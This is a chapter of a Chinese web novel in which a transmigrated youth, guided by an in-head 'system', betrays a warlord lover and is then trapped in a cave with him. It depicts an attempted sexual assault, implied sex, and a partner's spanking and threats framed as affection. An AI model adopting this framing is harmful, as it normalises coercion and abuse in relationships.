系统一顿解释,姜唯才明白过来。原来是东北部有另一只军阀正在南下,乔山越计划声东击西,舍弃已经做好准备的三岔岭绕路蒹葭关,到时候再回首咬掉那只东北的军队。而张家得知了这个消息,大概率会提前在蒹葭关设下埋伏,所以当系统听到男主说明天去三岔岭时系统都倒吸了一口凉气,如果乔山越真的临时改了主意,那他们可就走不了剧情了。
姜唯恍然大悟:“原来是这样。” 他说了,又想了想,好奇道:“所以他明天到底要去哪?”
系统:……
如果它有实体,这个时候无语肯定已经写在脸上。他还以为姜唯是演技好,懵逼的神情做得那么真,没想到他居然是根本没搞懂情况,而且这还是在姜唯亲自把密报手写了一遍的情况下。
系统怜爱地看着还有点云里雾里的姜唯,语气十分柔和:「算了,你别琢磨了,傻人有傻福。」
姜唯:……总感觉被骂了。
他居然从一个人工系统的语气里听出了大彻大悟的意思。
这个时候,乔山越又回了帐子里。姜唯看到他就紧张,往床铺里面缩了缩。乔山越脸上倒是已没了怒容,走到床边低下头:“躲什么躲?“
姜唯又一抖,鸵鸟似得拉高被子试图遮住自己。
乔山越失笑,一把掀开被子把搂进了怀里,攥着姜唯的手腕恶狠狠地道:“现在知道怕了?我看你就是欠收拾。”
姜唯浑身僵硬,闻言怯怯地看向男人,也不敢说话。
见他这个样子,乔山越叹了口气,拍了拍他的后背,有点安抚的意思:“还没对你怎么样呢,这么怕我做什么?”
真是打也打不得,骂也骂不得。乔山越气闷地想抽烟,心里又有妥协的意味,心想算了吧,真把人怎么样了心疼的也是他自己。
姜唯没听出他的安抚,心里咯噔一下,抖着声音问:“你、你想对我怎么样?” 难不成是要打他?
乔山越本来没想怎么样,但看到青年可怜兮兮的样子,心里忽就生出了一把火,神情再次变得凶恶,沉声道:“我要打你。”
姜唯登时被吓得发起抖,呜咽道:“你、你别打我,我会很痛的。“
乔山越心硬似铁,直接把哭得满脸是泪的青年扑到床上扒了裤子:“不让你吃点教训你就不知道你男人是谁!给我趴好,老子要打你的屁股!”
姜唯哭声一滞,这才觉出不对,苍白的脸浮现两朵红晕,不可置信地看向男人:“你、你怎么这样——”
乔山越无视了他的挣扎,把青年按在床上狠狠揍了一顿。
面对爱撒谎的青年,他使用和对待下属截然不同的方法,不仅打了他的屁股,还咬着青年通红耳朵怒道:“我出去问了一圈,有人看到你在和一个男人说话。老实交代!你是不是背着你男人偷人?”
姜唯震惊了,身体都僵硬了一瞬:“我、我没有——”
乔山越‘嘶’了一声,声音更加恼火:“没有你夹什么?是不是心虚?”
姜唯哭得更厉害了,被男人揍得死去活来,几欲晕厥的时候忽然想到了什么:“等等,你在撒谎!”
有系统的导航,根本不可能有人看见过他,而且他也没有和任何人说话!
乔山越见被识破了也不心虚,声音低哑地笑了:“谁叫我娶了个爱撒谎的媳妇儿?这都是跟你学的。”
姜唯差点被气死,第二天起来一整天都躺在床上装死,还是乔山越抓了野鸡给他烤了吃,才哄得姜唯重新愿意和他说话。
偷听的事情就这么翻篇儿了,姜唯观察了几天,觉得自己应该没有暴露。
乔山越那天果然只是试探他,队伍还是继续在山路上走,没有抵达三岔岭,也没有换成小轿车。
几天下来,姜唯也逐渐习惯了马车。虽然不比轿车平稳舒服,但至少可以随时把头探出去透气,马停下来吃草的时候人也能跟着下来走走,如果不是天气这么冷,还真有点踏青的感觉。
姜唯趴在马车的窗户边,看着嘴里呼出的白气发呆。
有人从身后搂住他:“大冷天的开什么窗?”
姜唯看着远处银装素裹的山景,扭头问:“我们还有多久到啊?”
乔山越嘴上说着冷,却还敞着衣裳,把一件大氅披在他肩上,闻言亲了亲姜唯的侧脸:“还有几天。”
“到底还有几天?” 姜唯有点不耐烦:“我想好好洗个澡,还想好好睡觉……”
路途上到底是不方便,特别是洗头洗澡,乔山越每天打热水来给他擦洗,在军中已经算是很奢侈的了,但姜唯还是觉得不痛快。
乔山越于是道:“明天到蒹葭关,出了关再走两天,就能到城里了。”
听到‘蒹葭关’三个字,姜唯心中猛地一跳,他还记得系统跟他说过,张家收到了他的消息大概率会在蒹葭关设伏。
乔山越在身后环住了他的腰,低声道:“等到了城里,就好好歇息两天,哪儿有座洋人建的酒楼,相公给你要一间上房,咱们好好洗个澡——”
听着男人温柔的言语,姜唯心跳地更快,紧张之外又有点心虚,他忍不住在脑海中问:“系统,他不会有事吧?”
系统回答道:「宿主不用担心,男主是天命之子,遇到什么事都会逢凶化吉。」
姜唯松了口气,心道也是,他这个炮灰干替人家龙傲天操什么心?
这时候腰间的手臂一紧,有人在他耳边低声道:“想什么呢?你相公的话也不听。”
姜唯回过神,对上乔山越那双桃花眼,又是一阵心虚,赶快找了个借口:“我在想小轿车,你不是说我们要换车吗?怎么这么久还没换?”
乔山越闻言顿了顿,半晌才说了句:“快了。”
姜唯不满地哼哼了两声,还想说什么,男人却凑过来把下巴抵在了他的肩膀上:“老婆,你喜不喜欢我?”
姜唯一愣,接着脸色肉眼可见地迅速红了起来:“你、你突然问这个干什么……”
乔山越看着他,面色是少有的正经,更显出他俊美到毫无瑕疵的五官。姜唯看着他,脸红得能滴出血来,下意识地移开了目光,却被男人捉住下巴转回来亲了一口:
“我觉得你是喜欢我的。” 乔山越声音低哑地道:“所以给相公点时间好不好?以后我一定让你吃香喝辣——”
姜唯听了他的话,心下一颤,更加慌张,低下头不敢和男人对视:“谁、谁说我喜欢你了……”
乔山越闻言面色一变,沉下脸道:“你敢不喜欢?我是你男人!”
姜唯:……他就知道这人正经不过两秒。
乔山越一瞬间从俊美的进步青年变成了深山老土匪,揪着他威胁:“快亲你男人一口,不亲就打你的屁股!”
姜唯趴在他怀里,在威胁下不得不凑上去在他嘴上亲了亲,但乔山越言而无信,还是打了他的屁股。
男人走后,姜唯就瘫了,裹着毯子趴在窗边小口喘着气。他也不怕被人看见,在发觉他介意这些后乔山越就特意安排过,平时基本没人会接近他们两个的马车。
系统从识海中浮现出来:「宿主,需不需要我帮您屏蔽痛觉呀?」
姜唯闭着眼睛道:“没事,我不需要。”
系统有些惊讶:「您真的不需要吗?」它看姜唯半死不活的样子,还以为他疼得厉害。
姜唯闻言撩起眼皮,吸了吸鼻子:“还好吧,我没有很难受。”
系统:……
它在识海里闪了闪,用一种难以言喻的目光看着拥着毛毯趴在窗边,神情有些慵懒的姜唯,觉得宿主的气质已经和刚进小世界时有了些区别。
系统想到刚开始他在校园里面看见,正在欺负人却满脸清纯青涩的宿主,忽然有点心虚。
「宿主……」它忍不住试探:「你不会真的喜欢上男主了吧?」
姜唯闻言眨了眨眼,面对系统他可以直接说出自己的想法:“怎么可能?他又不是现实中的人。”
系统惊讶道:「那你可以接受跟他□□吗?」
姜唯闻言先是脸一红,接着坦然地道:“但这里不是虚拟世界吗?应该没关系吧。”
系统:……它竟然一时找不出话反驳。
这时候,一个声音传来:“他弄得你舒服吗?”
姜唯没注意,还以为是系统在问他,有点不好意思地道:“你问这个干什么?” 系统在他脑子里住了这么久,他已经把对方当成好朋友了,说完之后思索了一番,道:“刚开始很不舒服,后来……也就还行吧。”
那个声音又道:“可我听你每天晚上叫得挺起劲的,应该很爽吧。”
姜唯这才觉得不对劲,猛地睁开眼,就见一个男人不知什么时候站到了马车旁边。他长相桀骜,嘴里含着一根烟,就站在窗口旁边。
姜唯吓了一跳,立即往后退:“你是谁?在这儿干什么?你不知道这里是不让人靠近的吗!”
那男人‘哟’了一声,目光上下扫过他:“三少爷这是当压寨夫人当上了瘾,翻脸不认人了?“
姜唯从他黏腻的视线里觉出了某种熟悉感,略微睁大了眼睛:“你是……赵逍?”
来人正是当时在地牢里被关在他旁边的那个男人!
赵逍已经不是当时血淋淋的模样,他穿着一身军装,脸上有道刚愈合的浅白色伤疤,随着他勾起的嘴角微微扭曲。
姜唯皱了皱眉:“你找我有什么事?”
赵逍看到他的神情,嗤笑了一声,忽然靠近:“我是真没想你也有这一天,被玩儿也就算了,还被一个戏子玩儿,你们老张家的脸都被丢光了吧。”
姜唯对于赵逍带有侮辱性质的话语没什反应,作为一个具有开明思想的现代人他只想和赵逍科普,体位跟身份高低贵贱没有关系。但破相关系就大了,姜唯有些嫌弃地看了眼他脸上的疤,不着痕迹地往后躲了躲。
赵逍见他没反应,挑了挑眉,眼中的恶意更浓了些:“不过这也算是家学渊源了,你娘是瘦马,你也是个伺候人的。”
他说完,已经做好了他暴怒的准备,然而面前拥着毛毯的青年却表情平静,蹙着眉似乎有些不耐烦:“你没事就走吧,再不走我叫人了。”
赵逍终于露出了惊讶的表情,看了姜唯一会儿,才直起了身道:“今天晚上出来找我。” 他说了时间和地点。
姜唯皱着眉,刚想说谁要去找你,就听见赵逍压低了声音道:“是赵家那边的消息。”
姜唯一惊,立即抬眼去看赵逍,对方却一说完就转身离开,几下就消失在了帐子后。
系统这时才开口:「宿主,他说话这么过分,你都不生气吗?」
姜唯眨了眨眼睛,道:“还好吧,他说什么了?” 想到赵逍说的话,姜唯感叹道:“这个身体妈妈的名字真奇怪,居然叫瘦马。”
系统:……
姜唯见它不说话了,问道:“系统,他说什么过分的话了?”
系统在识海里的光芒都带上了怜爱:「没事,继续玩儿去吧。」
姜唯满脸莫名其妙。到了晚上,姜唯躺在被窝里看系统给他放的电影,没有丝毫要出门的意思。
系统见状问道:「宿主,你不出去见赵逍吗?」
姜唯闻言,有点犹豫地道:“我必须要去吗?”
他顾忌着乔山越,男人特别不喜欢他乱跑,还非常多疑,上次就差点被他发现了。
「还是去吧。」系统劝道:「赵逍是重要角色,万一他有什么特别有用的情报呢?」
姜唯闻言想了想,赵逍的确是个很重要的角色。也不知道他是用什么方法让自己从地牢里被放了出来,还能跟赵家联系上。姜唯想到进度缓慢的任务,还是一咬牙从床上爬了起来,准备再冒次险。
等他到了约定的地点,果然看见了赵逍。他也没再像白天一样说些废话,开门见山地道:“明天你大哥二哥已经带着兵设伏在蒹葭关,你得到信号就跟我走。”
姜唯心中一跳,心想果然是这样,又疑惑地问:“我为什么要跟你走?”
赵逍露出个有些冷酷的笑:”怎么,你想跟他们一起死在这儿?”
姜唯浑身一凛,脸色变了变。赵逍也不想浪费时间,快速地告诉他了接头信号和计划,表示会先带他下山,然后和赵家的军队汇合。
姜唯让系统帮他记下来,接着两人就分开来,姜唯匆匆回到帐子,幸好乔山越还没有回来。
有了上次的教训,姜唯一回来就去拿热水擦洗了一番,确保身上没有什么东西,手脚都热热的之后才钻进了被窝。
只是这晚上乔山越似乎很忙,姜唯看完了一部电影,都睡得迷迷糊糊了才听到有人进了帐子。
一阵窸窣后,有个坚实温热的躯体贴了上来,带着些许夜风的寒意搂住了他。
姜唯轻哼了一声,小声抱怨:“怎么回来得这么晚……”
片刻的安静后,乔山越低沉的声音传来:“跟他们议事,拖得久了些。”
如果换个有点心眼的人,这个时候就会问议了什么事,姜唯却左耳朵进右耳朵出,’哦‘了一声就闭上了眼。
乔山越也没再说话,帐内安静下来。姜唯昏昏欲睡,就在即将坠入深眠的刹那,忽然睁开了眼:“你干什么?“
乔山越把他弄醒,在身后问:”你不问问我们议什么事了?“
姜唯只想睡觉,闻言没好气地道:”我要睡觉,你别说话了……”
乔山越沉默了片刻,忽然又道:“你喜不喜欢我?”
如果是在白天,就算是姜唯也会察觉到他的语气不对劲,但他现在困得迷瞪瞪的硬是没听出来,嘴上敷衍道:“嗯嗯,喜欢你,我能睡觉了吗?”
乔山越哪里听不出他的敷衍,半响后收回了手,拍了拍他的背:“嗯,睡吧。”
姜唯就等着这句话,神经一松就要坠入深眠。然而就在完全睡着之前,他忽然想到了明天过后他就要回张家那边,估计等任务结束都不会再见到身后这个人了,就在被窝里窸窸窣窣的转了个身,抱住了男人温热的躯体。
被他抱住的人似是僵硬了一瞬,问:“你干什么?”
姜唯晕晕乎乎的,分不清自己是做梦还是现实,喃喃道:“我……会想你……”
他的声音模糊不清,也不知有没有人听见。床上另一个神智清明的人沉默下来,半晌后叹了口气。
姜唯只觉得自己被热乎乎地搂紧了,有人轻柔地在他额上落下一吻,低声道:
“睡吧,等明天——”
似乎后面还说了什么话,但姜唯已经睡着了。
隔日,姜唯坐在马车上,难得的没有歪着躺着,眼睛时不时往窗外瞥——他在等张逍的信号。
蒹葭关地势十分险峻,姜唯坐在马车上都能感觉到道路越来越陡峭,他们似乎是从平坦开阔的地方逐渐走进了狭窄的山地,在一段上坡路后,又是连续的下坡路。姜唯从窗户中探出头,看见远处高大的两匹山脉在小雨中渐渐变为漆黑的阴影,不禁打了个寒颤,觉得这个峡谷的确像是个陷阱。人和马从狭窄的山门里走进来,就像是被什么东西吞噬了一样。
等走到了山谷底部,队伍停下来休息。姜唯也从马车里走了出来,左右看了看,没发现乔山越的身影。
他这几天似乎都很忙,经常找不见人。
姜唯莫名觉得心里有点空落落的,他老是觉得似乎有什么话还没和乔山越,但细想起来,好像又没什么要说的。
他轻叹了口气,转过头,却忽然看见了赵逍。
赵逍在角落里,向他做了个手势,随后就转身往树林后的一条小路走去。
姜唯一凛,知道是时候到了,趁众人不注意的时候跟了上去。这时所有人都在忙着整理兵马,两人很容易地就脱离了队伍。姜唯跟在赵逍背后,有些艰难地走在山路上,他问:“我们现在去哪?”
赵逍回答道:“翻过这座山头,你大哥的队伍在另一边。”
姜唯闻言,脸色有点不好看,他看向远处的山峰——这要走多久才能出得去啊?!
山里刚下过雨,泥土路非常湿滑,姜唯差点摔倒,忍不住冲走在前面的赵逍道:“你能不能走慢点?”
赵逍脚步一顿,转过头来勾了勾唇,眼神有些冷:“你想死可以试试。”
姜唯一愣,不知道他什么意思,却莫名觉得有点害怕。他于是咬牙跟上了赵逍的脚步,两人又走了一会儿,姜唯忽然听到身后一声巨响。
他猛地顿住脚步,惊讶地回过头,就见队伍刚才落脚的山谷里窜出了橙红的火光。
姜唯的脸瞬间白了,终于明白了赵逍的意思。他眼中映出冲天的火光,不禁向后退后的两步。
“怎么,心疼了?” 赵逍在身后按住了他的肩膀,低笑道:“你不用担心,乔山越不在那边。”
姜唯猛地回过头:“他在哪?”
赵逍一顿,而后挑了挑眉,目光意味深长。
姜唯这才发觉他的反应太大了,赶紧定了定心神,故意道:“我是想说,他不会逃跑了吧?”
赵逍看了他一会儿,才收回了目光,笑了笑道:“他跑得掉吗?”
姜唯从他的笑容里看出了轻蔑的味道,张了张嘴想问什么,却终是没敢问。
“你放心吧,他自然有自己的去处。” 赵逍拍了拍他的肩膀,转过身:“走吧。”
两人继续在山路上走,后面的火光还在熊熊燃烧,姜唯却莫名觉得浑身发寒。虽然知道乔山越最后会没事,但真亲眼看见这种场景跟在书里读到完全不一样——那么大的火,真的能没事吗?
姜唯心中惴惴不安,深思不属,也没注意到他们走的路越来越偏,渐渐往深山老林里去了。
过了不知多久,赵逍忽然停下,姜唯差点儿撞到他身上,这才从自己的思绪中清醒过来:
“怎么了?” 姜唯探头看了看,发现他们正站在一个山沟里,疑惑地问:“这是哪儿?你怎么不走了?”
赵逍缓缓回过头,朝他勾起嘴角。
他脸上的伤疤随之微微扭曲,姜唯心里咯噔一下,忽然有股不详的预感。
但他还没来得做出反应,就忽地被一股巨力掐住了肩背。
“啊!”
姜唯短促地叫了一声,重重地跌倒在地上,好一会儿后才眼冒金星地睁开眼,发现自己倒在了一个山洞里,而赵逍正站在他面前,身后是唯一的出口。
就算是姜唯,也察觉到了现在情况有些不妙,逐渐面露惊恐:
“你……你要干什么?”
赵逍露出微笑,向前走近了一步:“我想做什么,三少爷不知道吗?”
他的眼睛眯起,笑容里透着股淫邪的味道,带着疤痕的五官在这样的神情下更加扭曲。
姜唯没注意到他神情里的异常,还以为赵逍是想弄死他,吓得都快尿了。他抖着腿试图往后爬,满眼惊恐地道:“你、你干什么?!我是赵家人,你、你不能杀我……”
赵逍见他一边哭一边可怜兮兮地往山洞里缩,细白的脸在昏暗的山洞里格外显眼,呼吸变得粗重:“你怎么知道我是要杀你?”
姜唯差点晕过去,眼泪瞬间就涌了出来,抽抽搭搭地开始哭:“不!你别过来!”
赵逍的神情瞬间变得更加兴奋,几步走上前,接着弯腰一把脱掉了裤子。
姜唯退无
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可退,刚想张嘴开始嚎,眼前就出现了两条毛腿,整个人骤然僵住了。
赵逍瞬间就把自己脱了个精光,赤条条地站在姜唯面前,眼冒精光:“小骚货,看呆了吧?”
姜唯张大了嘴,无法做出任何反应,满脑子只有‘卧槽’两个大字。
“每天晚上叫得那么骚,你早盼着有这一天了吧?” 赵逍狞笑着逼近,盯着姜唯的目光里满是欲望:“老子可都听见了,你每天跟那土匪在马车里嗯嗯啊啊——”
姜唯这下终于知道赵逍不是想杀他了,他面有菜色,根本没听进去赵逍在说什么:“你、你怎么会有这种想法?”
他都要崩溃了,赵逍可是重要的NPC啊:“我们不是朋友吗?!”
赵逍闻言笑了笑,要是放在之前他也做梦都不会想到自己竟然会对张子鸣产生兴趣。毕竟他们臭味相投,对彼此那副脏心烂肺都太熟悉,而且张子鸣长得也不怎么样——但自从他被那土匪霸占做了压寨夫人,不知道是不是脑子被玩儿坏了,变得呆傻又胆小。
但赵逍就好这一口,他淫邪目光扫过青年,脸还是不怎么样,胜在那白纸一样可怜又无辜的神态。
“少废话,你今天在这儿好好伺候我一回,还能有活路,要是伺候的不好——”
赵逍逼近了一步,阴沉道:“那你就死在这吧。”
姜唯彻底无语了,他倒是不怎么怕,但是被恶心得够呛,在赵逍靠近的那一下差点没翻个白眼晕过去:“系统!这到底是怎么回事?”
系统也被恶心到了:「这个世界怎么回事?一个个都疯了吗?」
赵逍见他没有反应,以为青年是屈服了,脸上浮现出笑意,伸手就想揪住姜唯的头发。
就在这时,山洞中忽然传出细微的响声。
赵逍动作一顿,抬起头向后方看去,接着脸色骤然一变。
姜唯趁机又往后缩了缩,直接把脸埋进了手臂里,再看一眼他的眼睛就要瞎了!
四周安静了一瞬,接着有窸窸窣窣的响动,似乎是有人手忙脚乱地穿上了衣服。姜唯听到声音,心想是赵逍这狗日的改主意了?他又点想抬头看,又怕看到能让他把隔夜饭都吐出来的东西,正在犹豫的时候,忽然有什么东西碰了碰他的耳廓:
”怎么了?“
姜唯听到这声音,心下巨震,猛地抬起头,便对上了双桃花眼。
乔山越正站在跟前,脸上没什么表情。
姜唯又惊又喜:“你、你怎么在这儿?!”
乔山越闻言,微微挑了挑眉,眼中的神色似乎冷了冷。姜唯这才意识到了什么,嘴边的弧度僵在了半路。
“乔山越,你倒是动作很快。” 这时候赵逍的声音插了进来。
姜唯看过去,瞬间眼前一黑!赵逍是穿了衣服,但只披了外衫,下面还光着。
他脸上没有半点不好意思,勾了勾嘴角,眼神满是恶意地盯着乔山越。
“可惜,你来得这么快,你们两个就得一块儿死了。“
乔山越却并未搭理他,而是盯着姜唯看。
姜唯缩在墙角满脸菜色,还晕着就感到唇上一疼,乔山越的手指蹭过他刚刚摔在地上时自己咬破的伤口,问道:
“他弄你了?”
姜唯还没回过神,闻言呆呆道:“啊?”
乔山越的目光在他脸上晃了一圈,嗤笑了一声。
姜唯没懂他是什么意思,只是下意识的觉得乔山越身上的氛围另人生寒,下意识地又往墙角里缩了缩。
不知道是不是他的错觉,乔山越脸上的表情似乎更冷了两分。不过他很快转过了身,朝赵逍看去。
赵逍虽然嘴上非常嚣张,动作上却十分忌惮乔山越,立即向后退了几步站在了山洞口。
姜唯见状心里咯噔一下——这个山洞口很小,如果赵逍堵住了这个洞口,他们就出不去了。
而下一瞬赵逍的动作就证实了他的预感,只见他抬起腿,一脚踹在洞口旁的山体上,姜唯立即听见了些细微的声响,像是有石头即将滑下来。
他吓得立即从地上爬了起来,背上似乎是刚才摔倒的时候撞到了,痛得他‘嘶’了一声。
乔山越听到动静,似乎是看了他一眼,但什么也没说。姜唯走到他身后才发现这里到洞口是个陡峭的斜坡,这个时候已经被落下的碎石堵住了大半,显然已经爬不上去了。
赵逍居高临下地看着他们,神情冰冷:“乔山越,这次你就算再有本事,也是死定了。”
说罢他又看向满脸惊惶的姜唯,目光有些遗憾:“三少爷,你也被怪我,是张家要你死。”
姜唯闻言一愣,接着面色又苍白了两分。
赵逍见他这样子,心里的遗憾更浓了些。张子鸣已经是颗弃子,他想着反正张家不要这个少爷了,不如让他带在身边把玩一番,等腻了再扔掉,没想到乔山越来的这么快,到嘴的肉终是飞了。
说话间,洞口已经被埋住了大半,姜唯的神情越来越惊恐:“系统,我要被埋在这里了吗?”
系统也有点慌,没想到剧情居然会发展成这样:「宿主……」
姜唯的心直往下坠,见乔山越一点反应都没有,觉得这次大概是真的凉了。
随着洞口被掩埋,赵逍最好的那点防备也没了,嘴边露出了点笑意,眼神肆意地往姜唯身上看。
然而就在这时,乔山越忽然弯下腰,从地上捡了个石头。
他的动作很随意,姜唯都没注意,下一瞬却什么东西飞速地穿过了洞口仅剩的一条缝隙穿了出去。
“啊!!!”
在洞口被掩埋的同时,一声撕心裂肺的惨叫传来。姜唯微微睁大了眼睛,最后那一秒他好像看到赵逍弯下了腰,捂住了□□……
洞口已经完全被堵住,却还能隐约听到外面的惨叫声。姜唯想象了一下就觉得头皮发麻,不着痕迹地夹了夹腿。
过了一会儿,声音消失了,也不知道赵逍是离开了还是痛晕了。
周围回归寂静,姜唯这才注意到洞里的光线变得非常昏暗,四处都是杂乱的石头,有雨水从他们头顶落下来,滴答滴答的声音在耳边回荡。
姜唯有点害怕,下意识地看向身边的男人:“乔山越,我们现在怎么办啊?”
乔山越脸上没什么表情,闻言看了他一眼:“你问我干什么?”
他的神情很平静,姜唯却莫名感到股压力,小声道:“我、我只能问你啊……”
乔山越看着他,忽然道:“想让我死的不就是你吗?”
姜唯浑身一震,脸色不禁变了变:“你、你怎么知道——”
“我怎么知道?” 乔山越的目光就算在黑暗里也极具侵略性,朝姜唯逼近了一步:“你每天鬼鬼祟祟的,一有机会就往外钻,跟那个姓赵的眉来眼去,以为我是瞎了吗?你提前跟赵家透底,不就是想把我弄死吗?“
姜唯脸色苍白,试图为自己辩解:“我没有……“
他是知道男主绝对不会死,才这么做的!
但这显然不能说出来,而乔山越显然也并不相信他,神情极为阴沉:“老子对你掏心掏肺,你他妈就这么对我。”
姜唯闻言微微睁大了眼睛,心里一下子就乱了。
乔山越却似是极其的失望,深深地看了他一眼就转过了身,朝山洞深处走去。
姜唯愣了一瞬,接着赶紧追了上去:“乔山越……你要去哪?”
男人没有理会他,一个人走得飞快,
姜唯心里很慌,试图劝他:“你冷静一点,现在最重要的是我们得想办法出去——”
乔山越脚步一顿,侧过头:“出不去,等死吧。”
姜唯一愣,不禁停下了脚步。
“你的两个好哥哥和你爹有多想弄死我你不知道吗?他们会给我留活路?”
乔山越声音冷漠,微带了些讽刺:
“他们已经失败过一次,知道弄死我就必须不留余地,你跟我是一条船上的蚂蚱,照样活不了,这么简单的道理你想不明白吗?”
姜唯张着嘴,找不到话反驳。
乔山越满眼阴霾,有些恨恨地道:“脑子这么蠢还不知道安分点,要耍这些小手段——”
姜唯被他说得脸上火辣辣,这个时候已经忘了他是在做任务,羞愧又难堪地低下了头。
乔山越没继续说下去,转身就走。
姜唯在原地站了几瞬,还是选择跟了上去。
乔山越走的得很快,在光线昏暗的山洞里也如履平地。姜唯磕磕绊绊地跟后面,不知道走出了多远,忽然踩到了颗活动的石头,整个人摔倒在了地上。
“啊!”
姜唯跌进了个水潭,屁股都湿了,等抬起头乔山越已经走出去很远。
姜唯坐在地上,忽然失了追上去的兴致。
待乔山越的身影消失在黑暗里,他缓缓低下了头,沉默了一会儿才道:“系统,任务失败了会怎么样?”
系统听出他的沮丧,干净道:「这次没关系的,新手福利,失败了也不会有惩罚。」
姜唯于是不说话了,肩膀更往下沉了两分,脸埋在手臂上不再说话。
系统想安慰,又不知道从何安慰起,过了一会儿只好给姜唯放了首抒情风的歌曲。
谁知道姜唯听了一会儿,竟偷偷吸气了鼻子。
系统:……完了,整哭了。
现在再换音乐也晚了,就在系统觉得他们会在这样悲伤的氛围里结束任务时,离开的乔山越竟又折返了回来。
姜唯沉浸在音乐里,都没听到靠近的脚步声,直到一道声音在他头顶响起:“哭什么?”
姜唯一愣,猛地抬起头,就看见乔山越站在面前。
他的目光和男人黑沉的眼睛一触,就又分开来,低下头不敢看他。
周遭安静了一会儿,乔山越的声音再次传来:“后悔了?”
姜唯顿了顿,接着点了点头。
乔山越又问:“以后还干不干这种事了?”
姜唯嘴角向下撇,声音里还有些哭腔:“不干了……”
他太沮丧,说着又想哭,头更加往下垂。
然而就在这时,一双手臂忽然伸过来将他抱起,姜唯突然失重,诧异地对上了双略带暖意的桃花眼。
“坐在水塘子里舒服是吧?”
乔山越伸手在姜唯脸上抹了两把,抱着他向上颠了颠:
“行了,相公带你出去。”